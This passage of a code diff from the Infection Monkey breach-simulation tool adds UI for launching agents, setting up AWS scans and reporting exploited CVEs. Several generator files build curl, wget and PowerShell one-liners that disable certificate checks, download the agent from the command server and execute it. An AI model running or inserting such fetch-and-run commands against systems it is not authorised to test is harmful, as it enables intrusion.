runningOnIslandState: MONKEY_STATES.RUNNING + }); + } else { + /* If Monkey binaries are missing, change the state accordingly */ + if (res['error_text'] !== '') { + this.setState({ + showModal: true, + errorDetails: res['error_text'], + runningOnIslandState: MONKEY_STATES.FAILED + } + ); + } + } + }); + } + + closeModal = () => { + this.setState({ + showModal: false + }) + }; + + getMonkeyRunStateIcon = () => { + if (this.state.runningOnIslandState === MONKEY_STATES.RUNNING) { + return () + } else if (this.state.runningOnIslandState === MONKEY_STATES.STARTING) { + return () + } else if (this.state.runningOnIslandState === MONKEY_STATES.FAILED) { + return () + } else { + return ''; + } + } + + render() { + let description = this.props.description !== undefined ? (

{this.props.description}

) : '' + let icon = this.props.icon !== undefined ? () : '' + return ( + +
+ + + + + ); + } +} + +export default RunOnIslandButton; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js new file mode 100644 index 000000000..3a43f1a44 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -0,0 +1,87 @@ +import React, {useEffect, useState} from 'react'; +import NextSelectionButton from '../../ui-components/inline-selection/NextSelectionButton'; +import LocalManualRunOptions from './RunManually/LocalManualRunOptions'; +import AuthComponent from '../../AuthComponent'; +import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode'; +import InlineSelection from '../../ui-components/inline-selection/InlineSelection'; +import {cloneDeep} from 'lodash'; +import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons'; +import RunOnIslandButton from './RunOnIslandButton'; +import AWSRunButton from './RunOnAWS/AWSRunButton'; +import CloudOptions from './scoutsuite-setup/CloudOptions'; + +const CONFIG_URL = '/api/configuration/island'; + +function RunOptions(props) { + + const [currentContent, setCurrentContent] = useState(loadingContents()); + const [ips, setIps] = useState([]); + const [initialized, setInitialized] = useState(false); + + const authComponent = new AuthComponent({}) + + useEffect(() => { + if (initialized === false) { + authComponent.authFetch(CONFIG_URL) + .then(res => res.json()) + .then(res => { + let commandServers = res.configuration.internal.island_server.command_servers; + let ipAddresses = commandServers.map(ip => { + return ip.split(":", 1); + }); + setIps(ipAddresses); + setInitialized(true); + }); + } + }) + + useEffect(() => { + setCurrentContent(getDefaultContents()); + }, [initialized]) + + function setComponent(component, props) { + if (component === undefined) { + setCurrentContent(getDefaultContents()) + } else { + setCurrentContent(component({...props})) + } + } + + function loadingContents() { + return (
Loading
) + } + + function getDefaultContents() { + const newProps = cloneDeep({...props}); + return InlineSelection(defaultContents, newProps); + } + + function defaultContents() { + return ( + <> + + { + setComponent(LocalManualRunOptions, + {ips: ips, setComponent: setComponent}) + }}/> + + { + setComponent(CloudOptions, + {ips: ips, setComponent: setComponent}) + }}/> + + ); + } + + return currentContent; +} + +export default RunOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js new file mode 100644 index 000000000..ed9ffdec6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js @@ -0,0 +1,16 @@ +import {OS_TYPES} from '../utils/OsTypes'; + + +export default function generateLocalLinuxCurl(ip, osType, username) { + let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64'; + let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-${bitText} -k ` + + `-o monkey-linux-${bitText}; ` + + `chmod +x monkey-linux-${bitText}; ` + + `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000;`; + + if (username != '') { + command = `su - ${username} -c "${command}"`; + } + + return command; +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js new file mode 100644 index 000000000..3f47dc996 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -0,0 +1,16 @@ +import {OS_TYPES} from '../utils/OsTypes'; + + +export default function generateLocalLinuxWget(ip, osType, username) { + let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64'; + let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/` + + `monkey-linux-${bitText}; ` + + `chmod +x monkey-linux-${bitText}; ` + + `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`; + + if (username != '') { + command = `su - ${username} -c "${command}"`; + } + + return command; +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js new file mode 100644 index 000000000..1f66740f6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js @@ -0,0 +1,16 @@ +import {OS_TYPES} from '../utils/OsTypes'; + + +export default function generateLocalWindowsCmd(ip, osType, username) { + let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; + let command = `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; ` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ ` + + `monkey-windows-${bitText}.exe','.\\monkey.exe'); ` + + `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; + + if (username != '') { + command = `runas /user:${username} "cmd /K ${command}"`; + } + + return command; +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js new file mode 100644 index 000000000..7244615ed --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -0,0 +1,16 @@ +import {OS_TYPES} from '../utils/OsTypes'; + + +export default function generateLocalWindowsPowershell(ip, osType, username) { + let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; + let command = `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; ` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ ` + + `monkey-windows-${bitText}.exe','.\\monkey.exe'); ` + + `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; + + if (username != '') { + command = `Start-Process powershell.exe -ArgumentList "-noexit ${command}" -Credential ${username}`; + } + + return command; +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js new file mode 100644 index 000000000..178c60d8b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js @@ -0,0 +1,63 @@ +import {Button} from 'react-bootstrap'; +import React from 'react'; +import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; +import {COLUMN_SIZES} from '../../../../ui-components/inline-selection/utils'; +import '../../../../../styles/components/scoutsuite/AWSSetup.scss'; +import AWSSetupOptions from './AWSSetupOptions'; + + +export default function AWSCLISetup(props) { + return InlineSelection(getContents, { + ...props, + collumnSize: COLUMN_SIZES.LARGE, + onBackButtonClick: () => { + props.setComponent(AWSSetupOptions, props); + } + }) +} + + +const getContents = (props) => { + return ( +
+

AWS CLI configuration for scan

+

To assess your AWS infrastructure's security do the following:

+
    +
  1. + 1. Configure AWS CLI on Monkey Island Server (if you already have a configured CLI you can skip this step). +
      +
    1. + a. Download and + install it on the Monkey Island server (machine running this page). +
    2. +
    3. + b. Run aws configure. It's important to configure credentials as it + allows ScoutSuite to get information about your cloud configuration. The simplest way to do so is to + provide  + . +
    4. +
    +
  2. +
  3. + 2. If you change the configuration, make sure not to disable AWS system info collector. +
  4. +
  5. + 3. Go +  and run Monkey on the Island server. +
  6. +
  7. + 4. Assess results in Zero Trust report. +
  8. +
+
+ ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js new file mode 100644 index 000000000..04a1f490b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js @@ -0,0 +1,179 @@ +import React, {useEffect, useState} from 'react'; +import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; +import {COLUMN_SIZES} from '../../../../ui-components/inline-selection/utils'; +import AWSSetupOptions from './AWSSetupOptions'; +import {Button, Col, Form, Row} from 'react-bootstrap'; +import AuthComponent from '../../../../AuthComponent'; +import '../../../../../styles/components/scoutsuite/AWSSetup.scss'; +import {PROVIDERS} from '../ProvidersEnum'; +import classNames from 'classnames'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; +import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; +import {faQuestion} from '@fortawesome/free-solid-svg-icons'; +import Collapse from '@kunukn/react-collapse/dist/Collapse.umd'; +import keySetupForAnyUserImage from '../../../../../images/aws_keys_tutorial-any-user.png'; +import keySetupForCurrentUserImage from '../../../../../images/aws_keys_tutorial-current-user.png'; +import ImageModal from '../../../../ui-components/ImageModal'; + + +export default function AWSCLISetup(props) { + return InlineSelection(getContents, { + ...props, + collumnSize: COLUMN_SIZES.LARGE, + onBackButtonClick: () => { + props.setComponent(AWSSetupOptions, props); + } + }) +} + +const authComponent = new AuthComponent({}) + +const getContents = (props) => { + + const [accessKeyId, setAccessKeyId] = useState(''); + const [secretAccessKey, setSecretAccessKey] = useState(''); + const [sessionToken, setSessionToken] = useState(''); + const [errorMessage, setErrorMessage] = useState(''); + const [successMessage, setSuccessMessage] = useState(''); + const [docCollapseOpen, setDocCollapseOpen] = useState(false); + + function submitKeys(event) { + event.preventDefault(); + setSuccessMessage(''); + setErrorMessage(''); + authComponent.authFetch( + '/api/scoutsuite_auth/' + PROVIDERS.AWS, + { + 'method': 'POST', + 'body': JSON.stringify({ + 'accessKeyId': accessKeyId, + 'secretAccessKey': secretAccessKey, + 'sessionToken': sessionToken + }) + }) + .then(res => res.json()) + .then(res => { + if (res['error_msg'] === '') { + setSuccessMessage('AWS keys saved!'); + } else if (res['message'] === 'Internal Server Error') { + setErrorMessage('Something went wrong, double check keys and contact support if problem persists.'); + } else { + setErrorMessage(res['error_msg']); + } + }); + } + + useEffect(() => { + authComponent.authFetch('/api/aws_keys') + .then(res => res.json()) + .then(res => { + setAccessKeyId(res['access_key_id']); + setSecretAccessKey(res['secret_access_key']); + setSessionToken(res['session_token']); + }); + }, [props]); + + + // TODO separate into standalone component + function getKeyCreationDocsContent() { + return ( +
+
Tips
+

Consider creating a new user account just for this activity. Assign only ReadOnlyAccess and  + SecurityAudit policies.

+ +
Keys for custom user
+

1. Open the IAM console at https://console.aws.amazon.com/iam/.

+

2. In the navigation pane, choose Users.

+

3. Choose the name of the user whose access keys you want to create, and then choose the Security credentials + tab.

+

4. In the Access keys section, choose Create Access key.

+

To view the new access key pair, choose Show. Your credentials will look something like this:

+

Access key ID: AKIAIOSFODNN7EXAMPLE

+

Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

+ +
+ + + + +
Keys for current user
+

1. Click on your username in the upper right corner.

+

2. Click on "My security credentials".

+

3. In the Access keys section, choose Create Access key.

+

To view the new Access key pair, choose Show. Your credentials will look something like this:

+

Access key ID: AKIAIOSFODNN7EXAMPLE

+

Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

+ +
+ + + + ); + } + + function getKeyCreationDocs() { + return ( +
+ + +
); + } + + return ( +
+ {getKeyCreationDocs()} +
+ setAccessKeyId(evt.target.value)} + type='text' + placeholder='Access key ID' + value={accessKeyId}/> + setSecretAccessKey(evt.target.value)} + type='password' + placeholder='Secret access key' + value={secretAccessKey}/> + setSessionToken(evt.target.value)} + type='text' + placeholder='Session token (optional, only for temp. keys)' + value={sessionToken}/> + { + errorMessage ? +
{errorMessage}
+ : + '' + } + { + successMessage ? +
{successMessage}  + Go back and  + to start AWS scan!
+ : + '' + } + +
+ + + + + + ); +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js new file mode 100644 index 000000000..a66a893d8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js @@ -0,0 +1,40 @@ +import React from 'react'; +import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; +import NextSelectionButton from '../../../../ui-components/inline-selection/NextSelectionButton'; +import {faKey, faTerminal} from '@fortawesome/free-solid-svg-icons'; +import AWSCLISetup from './AWSCLISetup'; +import CloudOptions from '../CloudOptions'; +import AWSKeySetup from './AWSKeySetup'; + + +const AWSSetupOptions = (props) => { + return InlineSelection(getContents, { + ...props, + onBackButtonClick: () => { + props.setComponent(CloudOptions, props); + } + }) +} + +const getContents = (props) => { + return ( + <> + { + props.setComponent(AWSKeySetup, + {setComponent: props.setComponent}) + }}/> + { + props.setComponent(AWSCLISetup, + {setComponent: props.setComponent}) + }}/> + + ) +} + +export default AWSSetupOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js new file mode 100644 index 000000000..bd9c83f04 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js @@ -0,0 +1,65 @@ +import React, {useEffect, useState} from 'react'; +import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; +import NextSelectionButton from '../../../ui-components/inline-selection/NextSelectionButton'; +import {faCheck, faCloud, faSync} from '@fortawesome/free-solid-svg-icons'; +import AWSSetupOptions from './AWSConfiguration/AWSSetupOptions'; +import {PROVIDERS} from './ProvidersEnum'; +import AuthComponent from '../../../AuthComponent'; + + +const CloudOptions = (props) => { + return InlineSelection(getContents, { + ...props, + onBackButtonClick: () => { + props.setComponent() + } + }) +} + +const authComponent = new AuthComponent({}) + +const getContents = (props) => { + + const [description, setDescription] = useState('Loading...'); + const [iconType, setIconType] = useState('spinning-icon'); + const [icon, setIcon] = useState(faSync); + + useEffect(() => { + authComponent.authFetch('/api/scoutsuite_auth/' + PROVIDERS.AWS) + .then(res => res.json()) + .then(res => { + if(res.is_setup){ + setDescription(getDescription(res.message)); + setIconType('icon-success'); + setIcon(faCheck); + } else { + setDescription('Setup Amazon Web Services infrastructure scan.'); + setIconType('') + setIcon(faCloud); + } + }); + }, [props]); + + function getDescription(message){ + return ( + <> + {message} Run from the Island to start the scan. Click next to change the configuration. + + ) + } + + return ( + <> + { + props.setComponent(AWSSetupOptions, + {setComponent: props.setComponent}) + }}/> + + ) +} + +export default CloudOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js new file mode 100644 index 000000000..26bb87860 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js @@ -0,0 +1,9 @@ +// Should match enum in monkey/common/cloud/scoutsuite_consts.py + +export const PROVIDERS = { + AWS : 'aws', + AZURE : 'azure', + GCP : 'gcp', + ALIBABA : 'aliyun', + ORACLE : 'oci' +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js new file mode 100644 index 000000000..ff2f877dd --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js @@ -0,0 +1,63 @@ +import {Button, Card, Nav} from 'react-bootstrap'; +import CopyToClipboard from 'react-copy-to-clipboard'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faClipboard} from '@fortawesome/free-solid-svg-icons/faClipboard'; +import React, {useEffect, useState} from 'react'; +import PropTypes from 'prop-types'; + +export default function commandDisplay(props) { + + const [selectedCommand, setSelectedCommand] = useState(props.commands[0]); + + function setSelectedCommandByName(type){ + setSelectedCommand(getCommandByName(props.commands, type)); + } + + function getCommandByName(commands, type){ + return commands.find((command) => {return command.type === type}); + } + + useEffect(() => { + let sameTypeCommand = getCommandByName(props.commands, selectedCommand.type); + if( sameTypeCommand !== undefined){ + setSelectedCommand(sameTypeCommand); + } else { + setSelectedCommand(props.commands[0]); + } + }, [props.commands]); + + function renderNav() { + return ( + ); + } + + return ( +
+ {renderNav()} + +
+ + + + {selectedCommand.command} +
+
+
+ ) +} + +commandDisplay.propTypes = { + commands: PropTypes.arrayOf(PropTypes.exact({ + type: PropTypes.string, + command: PropTypes.string + })) +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/InterfaceSelection.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/InterfaceSelection.js new file mode 100644 index 000000000..728d1958b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/InterfaceSelection.js @@ -0,0 +1,16 @@ +import React from 'react'; +import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; +import LocalManualRunOptions from '../RunManually/LocalManualRunOptions'; + +function InterfaceSelection(props) { + return InlineSelection(getContents, props, LocalManualRunOptions) +} + +const getContents = (props) => { + const ips = props.ips.map((ip) => +
{ip}
+ ); + return (
{ips}
); +} + +export default InterfaceSelection; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js new file mode 100644 index 000000000..b24c9b302 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js @@ -0,0 +1,6 @@ +export const OS_TYPES = { + WINDOWS_32: 'win32', + WINDOWS_64: 'win64', + LINUX_32: 'linux32', + LINUX_64: 'linux64' +} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index faa9ad138..b4a7d25d8 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -15,7 +15,7 @@ const renderTime = (val) => val.split('.')[0]; const columns = [ {title: 'Time', prop: 'timestamp', render: renderTime}, {title: 'Monkey', prop: 'monkey'}, - {title: 'Type', prop: 'telem_catagory'}, + {title: 'Type', prop: 'telem_category'}, {title: 'Details', prop: 'data', render: renderJson, width: '40%'} ]; diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js index 3199385ba..8d8611eb6 100644 --- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js +++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js @@ -12,12 +12,14 @@ class GraphWrapper extends React.Component { let newOptions = null; if(this.props.options !== undefined){ newOptions = this.props.options; - newOptions.height = this.props.containerHeight.toString() + 'px'; - newOptions.width = this.props.containerWidth.toString() + 'px'; } - return () + return ( +
+ +
+ ) } } -let ReactiveGraph = Dimensions()(GraphWrapper); +let ReactiveGraph = GraphWrapper; export {ReactiveGraph}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 97f3c1a18..841ae9dfe 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -134,7 +134,7 @@ class AttackReport extends React.Component { getTechniqueByTitle(title){ for (const tech_id in this.state.techniques){ - if (! this.state.techniques.hasOwnProperty(tech_id)) {return false;} + if (! Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)) {return false;} let technique = this.state.techniques[tech_id]; if (technique.title === title){ technique['tech_id'] = tech_id; @@ -148,18 +148,18 @@ class AttackReport extends React.Component { // add links to techniques schema = schema.properties; for(const type in schema){ - if (! schema.hasOwnProperty(type)) {return false;} + if (! Object.prototype.hasOwnProperty.call(schema, type)) {return false;} let typeTechniques = schema[type].properties; for(const tech_id in typeTechniques){ - if (! typeTechniques.hasOwnProperty(tech_id)) {return false;} + if (! Object.prototype.hasOwnProperty.call(typeTechniques, tech_id)) {return false;} if (typeTechniques[tech_id] !== undefined){ techniques[tech_id]['link'] = typeTechniques[tech_id].link } } } - // modify techniques' messages + // compiles techniques' message string from markdown to HTML for (const tech_id in techniques){ - techniques[tech_id]['message'] =
; + techniques[tech_id]['message_html'] =
; } return techniques diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 067069fab..e3a1621eb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -13,9 +13,11 @@ import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportLoader from './common/ReportLoader'; import SecurityIssuesGlance from './common/SecurityIssuesGlance'; import PrintReportButton from './common/PrintReportButton'; +import WarningIcon from '../ui-components/WarningIcon'; +import {Button} from 'react-bootstrap'; -import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; -import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faMinus} from '@fortawesome/free-solid-svg-icons/faMinus'; import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; @@ -38,9 +40,14 @@ class ReportPageComponent extends AuthComponent { HADOOP: 10, PTH_CRIT_SERVICES_ACCESS: 11, MSSQL: 12, - VSFTPD: 13 + VSFTPD: 13, + DRUPAL: 14, + ZEROLOGON: 15, + ZEROLOGON_PASSWORD_RESTORE_FAILED: 16 }; + NotThreats = [this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]; + Warning = { CROSS_SEGMENT: 0, @@ -78,7 +85,7 @@ class ReportPageComponent extends AuthComponent { componentDidUpdate(prevProps) { if (this.props.report !== prevProps.report) { - this.setState({ report: this.props.report }) + this.setState({report: this.props.report}) } } @@ -105,7 +112,7 @@ class ReportPageComponent extends AuthComponent { print(); }}/>
-
+

{content} @@ -137,7 +144,7 @@ class ReportPageComponent extends AuthComponent { generateReportOverviewSection() { return ( -
+

Overview

@@ -146,7 +153,7 @@ class ReportPageComponent extends AuthComponent { this.state.report.glance.exploited.length > 0 ? '' : -

+

To improve the monkey's detection rates, try adding users and passwords and enable the "Local network @@ -155,8 +162,8 @@ class ReportPageComponent extends AuthComponent { }

The first monkey run was started on {this.state.report.overview.monkey_start_time}. After {this.state.report.overview.monkey_duration}, all monkeys finished + className='badge badge-info'>{this.state.report.overview.monkey_start_time}. After {this.state.report.overview.monkey_duration}, all monkeys finished propagation attempts.

@@ -175,7 +182,7 @@ class ReportPageComponent extends AuthComponent { Usernames used for brute-forcing:

    - {this.state.report.overview.config_users.map(x =>
  • {x}
  • )} + {this.state.report.overview.config_users.map(x =>
  • {x}
  • )}

Passwords used for brute-forcing: @@ -233,7 +240,7 @@ class ReportPageComponent extends AuthComponent { generateReportFindingsSection() { return ( -

+

Security Findings

@@ -247,61 +254,114 @@ class ReportPageComponent extends AuthComponent { }).length > 0 ?
During this simulated attack the Monkey uncovered - {this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length} threats: + className='badge badge-warning'> + {this.getThreatCount()} + :
    - {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? -
  • Stolen SSH keys are used to exploit other machines.
  • : null} - {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ? -
  • Stolen credentials are used to exploit other machines.
  • : null} - {this.state.report.overview.issues[this.Issue.ELASTIC] ? -
  • Elasticsearch servers are vulnerable to CVE-2015-1427. -
  • : null} - {this.state.report.overview.issues[this.Issue.VSFTPD] ? -
  • VSFTPD is vulnerable to CVE-2011-2523. -
  • : null} - {this.state.report.overview.issues[this.Issue.SAMBACRY] ? -
  • Samba servers are vulnerable to ‘SambaCry’ (CVE-2017-7494).
  • : null} - {this.state.report.overview.issues[this.Issue.SHELLSHOCK] ? -
  • Machines are vulnerable to ‘Shellshock’ (CVE-2014-6271). -
  • : null} - {this.state.report.overview.issues[this.Issue.CONFICKER] ? -
  • Machines are vulnerable to ‘Conficker’ (MS08-067).
  • : null} - {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ? -
  • Machines are accessible using passwords supplied by the user during the Monkey’s - configuration.
  • : null} - {this.state.report.overview.issues[this.Issue.AZURE] ? -
  • Azure machines expose plaintext passwords. (More info)
  • : null} - {this.state.report.overview.issues[this.Issue.STRUTS2] ? -
  • Struts2 servers are vulnerable to remote code execution. ( - CVE-2017-5638)
  • : null} - {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? -
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • : null} - {this.state.report.overview.issues[this.Issue.HADOOP] ? -
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null} - {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? -
  • Mimikatz found login credentials of a user who has admin access to a server defined as - critical.
  • : null} - {this.state.report.overview.issues[this.Issue.MSSQL] ? -
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • : null} + {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] && +
  • Stolen SSH keys are used to exploit other machines.
  • } + {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] && +
  • Stolen credentials are used to exploit other machines.
  • } + {this.state.report.overview.issues[this.Issue.ELASTIC] && +
  • Elasticsearch servers are vulnerable to + . +
  • } + {this.state.report.overview.issues[this.Issue.VSFTPD] && +
  • VSFTPD is vulnerable to + . +
  • } + {this.state.report.overview.issues[this.Issue.SAMBACRY] && +
  • Samba servers are vulnerable to ‘SambaCry’ ( + ). +
  • } + {this.state.report.overview.issues[this.Issue.SHELLSHOCK] && +
  • Machines are vulnerable to ‘Shellshock’ ( + ). +
  • } + {this.state.report.overview.issues[this.Issue.CONFICKER] && +
  • Machines are vulnerable to ‘Conficker’ ( + ). +
  • } + {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] && +
  • Machines are accessible using passwords supplied by the user during the Monkey’s + configuration.
  • } + {this.state.report.overview.issues[this.Issue.AZURE] && +
  • Azure machines expose plaintext passwords ( + ). +
  • } + {this.state.report.overview.issues[this.Issue.STRUTS2] && +
  • Struts2 servers are vulnerable to remote code execution ( + ). +
  • } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] && +
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • } + {this.state.report.overview.issues[this.Issue.HADOOP] && +
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • } + {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] && +
  • Mimikatz found login credentials of a user who has admin access to a server defined as + critical.
  • } + {this.state.report.overview.issues[this.Issue.MSSQL] && +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • } + {this.state.report.overview.issues[this.Issue.DRUPAL] && +
  • Drupal servers are susceptible to a remote code execution vulnerability + (). +
  • + } + {this.generateZerologonOverview()}
:
During this simulated attack the Monkey uncovered 0 threats. + className='badge badge-success'>0 threats.
}
@@ -317,12 +377,15 @@ class ReportPageComponent extends AuthComponent { The Monkey uncovered the following possible set of issues:
    {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? -
  • Weak segmentation - Machines from different segments are able to +
  • Weak segmentation - Machines from different segments are able + to communicate.
  • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} +
  • Weak segmentation - Machines were able to communicate over unused + ports.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? -
  • Shared local administrator account - Different machines have the same account as a local +
  • Shared local administrator account - Different machines + have the same account as a local administrator.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
  • Multiple users have the same password
